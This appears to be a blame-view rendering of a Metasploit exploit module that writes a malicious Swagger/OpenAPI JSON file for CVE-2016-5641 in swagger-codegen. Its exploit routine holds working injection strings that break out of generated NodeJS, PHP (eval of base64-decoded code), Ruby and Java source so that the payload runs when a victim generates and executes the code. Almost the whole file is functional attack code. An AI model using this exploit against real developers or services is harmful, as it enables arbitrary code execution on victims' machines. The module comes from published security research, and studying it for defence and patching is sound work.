2016-06-23 13:09:37 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
#
|
|
|
|
# Gems
|
|
|
|
#
|
|
|
|
require 'base64'
|
2016-06-27 05:55:49 +00:00
|
|
|
|
2016-06-23 13:09:37 +00:00
|
|
|
#
|
|
|
|
# Project
|
|
|
|
#
|
|
|
|
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2016-06-23 17:34:51 +00:00
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
2016-06-23 13:09:37 +00:00
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'JSON Swagger CodeGen Parameter Injector',
|
|
|
|
'Description' => %q{
|
2016-06-24 21:08:47 +00:00
|
|
|
This module generates a Open API Specification 2.0 (Swagger) compliant
|
|
|
|
json document that includes payload insertion points in parameters.
|
2016-06-23 13:09:37 +00:00
|
|
|
|
2016-06-24 21:08:47 +00:00
|
|
|
In order for the payload to be executed, an attacker must convince
|
|
|
|
someone to generate code from a specially modified swagger.json file
|
|
|
|
within a vulnerable swagger-codgen appliance/container/api/service,
|
|
|
|
and then to execute that generated code (or include it into software
|
|
|
|
which will later be executed by another victim). By doing so, an
|
|
|
|
attacker can execute arbitrary code as the victim user. The same
|
|
|
|
vulnerability exists in the YAML format.
|
2016-06-23 13:09:37 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'ethersnowman <scott_davis@rapid7.com>'
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'URL', 'http://github.com/swagger-api/swagger-codegen' ],
|
|
|
|
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641' ]
|
|
|
|
],
|
2016-06-23 17:34:51 +00:00
|
|
|
'Platform' => %w{ nodejs php java ruby },
|
2016-06-23 18:22:21 +00:00
|
|
|
'Arch' => [ ARCH_NODEJS, ARCH_PHP, ARCH_JAVA, ARCH_RUBY ],
|
2016-06-24 21:08:47 +00:00
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
['NodeJS', { 'Platform' => 'nodejs', 'Arch' => ARCH_NODEJS } ],
|
|
|
|
['PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ],
|
|
|
|
['Java JSP', { 'Platform' => 'unix', 'Arch' => ARCH_JAVA } ],
|
|
|
|
['Ruby', { 'Platform' => 'ruby', 'Arch' => ARCH_RUBY } ]
|
2016-06-23 17:34:51 +00:00
|
|
|
],
|
2016-06-23 13:09:37 +00:00
|
|
|
'DisclosureDate' => 'Jun 23 2016',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
2016-06-23 17:34:51 +00:00
|
|
|
OptString.new('FILENAME', [false, 'The file to write.', 'msf-swagger.json']),
|
2016-06-23 13:09:37 +00:00
|
|
|
OptString.new('INFO_DESCRIPTION', [true, 'Swagger info description', 'A']),
|
2016-06-23 19:43:37 +00:00
|
|
|
OptString.new('INFO_VERSION', [true, 'Swagger info version.', '1.0.0']),
|
2016-06-23 13:09:37 +00:00
|
|
|
OptString.new('INFO_TITLE', [true, 'Swagger info title.', 'C']),
|
|
|
|
OptEnum.new('SWAGGER_SCHEME', [true, 'Protocol scheme', 'http', ['http','https','ws','wss']]),
|
2016-06-23 15:41:54 +00:00
|
|
|
OptString.new('SWAGGER_HOST', [true, 'a valid hostname or IPv4']),
|
2016-06-23 13:09:37 +00:00
|
|
|
OptString.new('BASE_PATH', [true, 'The root path of API on host.', '/']),
|
|
|
|
OptString.new('PATH', [true, 'Path of request/response on root path.', '/a']),
|
|
|
|
OptString.new('PATH_DESCRIPTION', [true, 'Description of a path request object', 'D']),
|
|
|
|
OptString.new('PATH_RESPONSE_DESCRIPTION', [true, 'Description of a path response object', 'E']),
|
|
|
|
OptString.new('DEFINITION_DESCRIPTION', [true, 'Description of an object definition.', 'F'])
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2016-06-23 13:09:37 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def swagger
|
|
|
|
%Q(
|
|
|
|
{
|
|
|
|
"swagger": "2.0",
|
|
|
|
"info": {
|
|
|
|
"description": "#{datastore['INFO_DESCRIPTION']}",
|
|
|
|
"version": "#{datastore['INFO_VERSION']}",
|
|
|
|
"title": "#{datastore['INFO_TITLE']}"
|
|
|
|
},
|
|
|
|
"schemes": [
|
|
|
|
"#{datastore['SWAGGER_SCHEME']}"
|
|
|
|
],
|
|
|
|
"host": "#{datastore['SWAGGER_HOST']}",
|
|
|
|
"basePath": "#{datastore['BASE_PATH']}",
|
|
|
|
"produces": [
|
|
|
|
"application/json"
|
|
|
|
],
|
|
|
|
"consumes": [
|
|
|
|
"application/json"
|
|
|
|
],
|
|
|
|
"paths": {
|
|
|
|
"#{datastore['PATH']}": {
|
|
|
|
"get": {
|
|
|
|
"description": "#{datastore['PATH_DESCRIPTION']}",
|
|
|
|
"responses": {
|
|
|
|
"200": {
|
|
|
|
"description": "#{datastore['PATH_RESPONSE_DESCRIPTION']}",
|
|
|
|
"schema": {
|
|
|
|
"$ref": "#/definitions/d"
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
},
|
|
|
|
"definitions": {
|
|
|
|
"d": {
|
|
|
|
"type": "object",
|
|
|
|
"description": "#{datastore['DEFINITION_DESCRIPTION']}",
|
|
|
|
"properties": {
|
|
|
|
"id": {
|
|
|
|
"type": "integer",
|
|
|
|
"format": "int64"
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
)
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2016-06-24 21:08:47 +00:00
|
|
|
case payload.arch[0]
|
|
|
|
when 'nodejs'
|
|
|
|
payload_loc = 'PATH'
|
|
|
|
payload_prefix = "/a');};};return exports;}));"
|
|
|
|
payload_suffix = "(function(){}(this,function(){a=function(){b=function(){new Array('"
|
2016-06-27 05:53:20 +00:00
|
|
|
wrapped_payload = payload_prefix + payload.encoded.gsub(/"/, '\\"') + payload_suffix
|
2016-06-24 21:08:47 +00:00
|
|
|
when 'php'
|
|
|
|
payload_loc = 'INFO_DESCRIPTION'
|
|
|
|
payload_prefix = "*/ namespace foobar; eval(base64_decode('"
|
|
|
|
payload_suffix = "')); /*"
|
|
|
|
wrapped_payload = payload_prefix +
|
|
|
|
Base64.strict_encode64(payload.encoded) +
|
|
|
|
payload_suffix
|
|
|
|
when 'ruby'
|
|
|
|
payload_loc = 'INFO_TITLE'
|
|
|
|
payload_prefix = "=end "
|
|
|
|
payload_suffix = "=begin "
|
|
|
|
wrapped_payload = payload_prefix + payload.encoded + payload_suffix
|
|
|
|
when 'java'
|
|
|
|
payload_loc = 'PATH'
|
|
|
|
payload_prefix = %q{a\\\"; "}
|
|
|
|
p = payload.encoded.gsub(/<%@page import="/, 'import ')
|
|
|
|
p = p.gsub(/\"%>/, ';').gsub(/<%/, '').gsub(/%>/, '')
|
|
|
|
p = p.gsub(/"/, '\\"').gsub(/\n/, ' ')
|
|
|
|
wrapped_payload = payload_prefix + p
|
2016-06-23 17:34:51 +00:00
|
|
|
else
|
2016-06-24 21:08:47 +00:00
|
|
|
raise IncompatiblePayloadError.new(datastore['PAYLOAD'])
|
2016-06-23 17:34:51 +00:00
|
|
|
end
|
|
|
|
|
2016-06-24 21:08:47 +00:00
|
|
|
datastore[payload_loc] = wrapped_payload
|
|
|
|
|
2016-06-23 13:09:37 +00:00
|
|
|
print_status swagger
|
|
|
|
file_create swagger
|
|
|
|
end
|
|
|
|
end
|